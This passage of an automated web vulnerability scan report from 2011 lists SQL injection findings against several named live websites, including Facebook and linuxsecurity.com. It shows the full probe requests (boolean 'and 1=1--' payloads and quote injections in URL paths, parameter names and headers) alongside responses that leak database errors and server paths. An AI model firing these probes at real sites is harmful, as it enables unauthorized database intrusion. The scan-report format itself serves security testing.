HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:27 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.26. http://www.facebook.com/search/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.facebook.com
Path:	/search/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /search/?1'%20and%201%3d1--%20=1 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response 1 (redirected)

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: lsd=UUBNY; path=/; domain=.facebook.com
Set-Cookie: noscript=1; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:39:35 GMT
Content-Length: 15579

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://c.static.ak.fbcdn.net/rsrc.php/yL/r/u8Bue217GRs.css" />
<link type="text/css" rel="stylesheet" href="http://d.static.ak.fbcdn.net/rsrc.php/y3/r/qFXzV0xbJP2.css" />
<link type="text/css" rel="stylesheet" href="http://f.static.ak.fbcdn.net/rsrc.php/yX/r/8v6XwwC31BN.css" />
<link type="text/css" rel="stylesheet" href="http://c.static.ak.fbcdn.net/rsrc.php/yo/r/8Og39uOsjg5.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yK/r/RUlAZi5mpi3.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yE/r/vKC7KTGk0BI.css" />

<script type="text/javascript" src="http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://e.static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
<body class="UIPage_LoggedOut ie7 win Locale_en_US">
<div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;" ></div><div id="blueBar" class="loggedOut"></div><div id="globalContainer"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><a class="lfloat" href="/" title="Go to Facebook Home"><img class="fb_logo img" src="http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png" alt="Facebook logo" width="170" height="36" /></a><div class="rfloat"><div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." /><input type="hidden" name="lsd" value="UUBNY" autocomplete="off" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><table cellspacing="0"><tr><td class="html7magic"><label for="email">Email</label></td><td cl
...[SNIP]...

Request 2

GET /search/?1'%20and%201%3d2--%20=1 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response 2 (redirected)

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: lsd=Qj720; path=/; domain=.facebook.com
Set-Cookie: noscript=1; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:39:36 GMT
Content-Length: 15411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://f.static.ak.fbcdn.net/rsrc.php/yX/r/8v6XwwC31BN.css" />
<link type="text/css" rel="stylesheet" href="http://c.static.ak.fbcdn.net/rsrc.php/yL/r/u8Bue217GRs.css" />
<link type="text/css" rel="stylesheet" href="http://c.static.ak.fbcdn.net/rsrc.php/yo/r/8Og39uOsjg5.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yK/r/RUlAZi5mpi3.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yE/r/vKC7KTGk0BI.css" />

<script type="text/javascript" src="http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://e.static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
<body class="UIPage_LoggedOut ie7 win Locale_en_US">
<div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;" ></div><div id="blueBar" class="loggedOut"></div><div id="globalContainer"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><a class="lfloat" href="/" title="Go to Facebook Home"><img class="fb_logo img" src="http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png" alt="Facebook logo" width="170" height="36" /></a><div class="rfloat"><div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." /><input type="hidden" name="lsd" value="Qj720" autocomplete="off" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><table cellspacing="0"><tr><td class="html7magic"><label for="email">Email</label></td><td class="html7magic"><label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="
...[SNIP]...

1.27. http://www.freedownloadscenter.com/terms/team-calendar/calendar.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/team-calendar/calendar.html

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /terms'/team-calendar/calendar.html HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:08 GMT
Content-Type: text/html
Connection: close
Content-Length: 376
Keep-Alive: timeout=15, max=500

<br />
<b>Warning</b>: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>/home/freedownloadscenter.com/htdocs/livehandler.php3</b> on line <b>21</b><br />
<br />
<b>Wa
...[SNIP]...

Request 2

GET /terms''/team-calendar/calendar.html HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:08 GMT
Content-Type: text/html
Connection: close
Content-Length: 0
Keep-Alive: timeout=15, max=500

1.28. http://www.freedownloadscenter.com/terms/team-calendar/calendar.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/team-calendar/calendar.html

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /terms/team-calendar'/calendar.html HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 1

Request 2

GET /terms/team-calendar''/calendar.html HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:08 GMT
Content-Type: text/html
Connection: close
Content-Length: 0
Keep-Alive: timeout=15, max=500

1.29. http://www.freedownloadscenter.com/terms/team-calendar/calendar.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/team-calendar/calendar.html

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /terms/team-calendar/calendar.html' HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 1

Request 2

GET /terms/team-calendar/calendar.html'' HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:09 GMT
Content-Type: text/html
Connection: close
Content-Length: 0
Keep-Alive: timeout=15, max=500

1.30. http://www.freedownloadscenter.com/terms/team-calendar/calendar.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/team-calendar/calendar.html

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /terms/team-calendar/calendar.html?1'=1 HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:06 GMT
Content-Type: text/html
Connection: close
Content-Length: 376
Keep-Alive: timeout=15, max=500

<br />
<b>Warning</b>: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>/home/freedownloadscenter.com/htdocs/livehandler.php3</b> on line <b>21</b><br />
<br />
<b>Wa
...[SNIP]...

Request 2

GET /terms/team-calendar/calendar.html?1''=1 HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:06 GMT
Content-Type: text/html
Connection: close
Content-Length: 0
Keep-Alive: timeout=15, max=500

1.31. http://www.linkatopia.com/ [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.linkatopia.com
Path:	/

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET / HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q='

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:18 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=fgemhac8fj8cg4vu6sp9l0k041; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 21
Connection: close
Content-Type: text/html

Update referer failed

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:19 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=aq32ki9rka3pck407dp563kg41; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 15274

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Linka
...[SNIP]...

1.32. http://www.linkatopia.com/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.linkatopia.com
Path:	/

Issue detail

Request 1

GET / HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=47l1f14gsf3aq2ifi25sve5r66; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 24
Connection: close
Content-Type: text/html

Update user agent failed

Request 2

GET / HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)''
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=q9ifci6l2j2tdrl3iv7clgbn71; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 15274

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Linka
...[SNIP]...

1.33. http://www.linkatopia.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.linkatopia.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /?1'=1 HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=68dgcspto6ppv3i6dcpvk1gcl5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 24
Connection: close
Content-Type: text/html

Update page count failed

Request 2

GET /?1''=1 HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:13 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=ornsar14q490r54ghf8kqfk9n6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 15274

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Linka
...[SNIP]...

1.34. http://www.linkfixerplus.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.linkfixerplus.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 16036492%20or%201%3d1--%20 and 16036492%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /?116036492%20or%201%3d1--%20=1 HTTP/1.1
Host: www.linkfixerplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 403 Forbidden
Date: Sun, 06 Feb 2011 17:23:02 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Content-Length: 506
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.linkfixerplus.com Port 80</address>
</body></html>

Request 2

GET /?116036492%20or%201%3d2--%20=1 HTTP/1.1
Host: www.linkfixerplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:23:02 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.6
Connection: close
Content-Type: text/html
Content-Length: 33322

<HTML><HEAD>
<link rel="alternate" type="application/rss+xml" title="RSS Feed for LinkTek.com" href="rss/rss.xml"
/>


<script type="text/javascript">var addthis_pub="linktek";</script>
<script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>

<TITLE>Fix broken links with LinkFixerPlus.</TITLE>
<meta name="verify-v1" content="BNstwDGv3/hYpx4cvJhG0OPgV5EN3GT+S3YtHTwQ6NQ=" />
<META NAME = "Description" CONTENT="LinkFixerPlus automatically reports, finds and fixes broken links when you move or rename files. Fix broken links in Microsoft, Word, Excel, Access, PowerPoint, AutoCAD, InDesign and HTML files.">
<META NAME = "Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME = "Keywords" CONTENT="broken link, broken links, fix broken links, LinkFixerPlus, link fixer, microsoft, fix broken link, data migration, linktek, excel, microsoft office, word, powerpoint, access, autocad, indesign, html, document management, storage server, folder reorganization">
<META NAME="Author" CONTENT="LinkTek's LinkFixerPlus">
<META NAME="Robots" CONTENT="ALL">

<link rel="stylesheet" href="lfp-styles.css" type="text/css">

<SCRIPT type="text/javascript" src="menufunctions.js"></SCRIPT>
<SCRIPT type="text/javascript" src="mm_layerfunctions.js"></SCRIPT>
<SCRIPT type="text/javascript" src="menuitemshome.js"></SCRIPT>
<SCRIPT type="text/javascript" src="global.js"></SCRIPT>

</HEAD>

<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 link="#3366CC" OnUnload="submitForm();">
<form name="FORM_NAME" method="post">
<input type="hidden" name="cookies" value="" />
<input type="hidden" name="referer_string" value=""
...[SNIP]...

1.35. http://www.linuxsecurity.com/ads/adjs.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/ads/adjs.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ads'/adjs.php?n=424430122&what=zone:4&exclude=,&referer=http%3A//burp/show/23 HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:44 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=877aa9e56ef049011927f0bede7adce6; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:39:45 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.36. http://www.linuxsecurity.com/ads/adjs.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/ads/adjs.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ads/adjs.php'?n=424430122&what=zone:4&exclude=,&referer=http%3A//burp/show/23 HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:52 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=2ec72741552f32c77a2eb063a30c97bd; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:39:53 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.37. http://www.linuxsecurity.com/ads/adlog.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/ads/adlog.php

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ads'/adlog.php?bannerid=75&clientid=52&zoneid=4&source=&block=0&capping=0&cb=d44f13e3bc6b9e50f3529e3826e3166b HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:09 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=cf9cf38d4638ae0b950d8f0b1cec8309; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:41:10 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

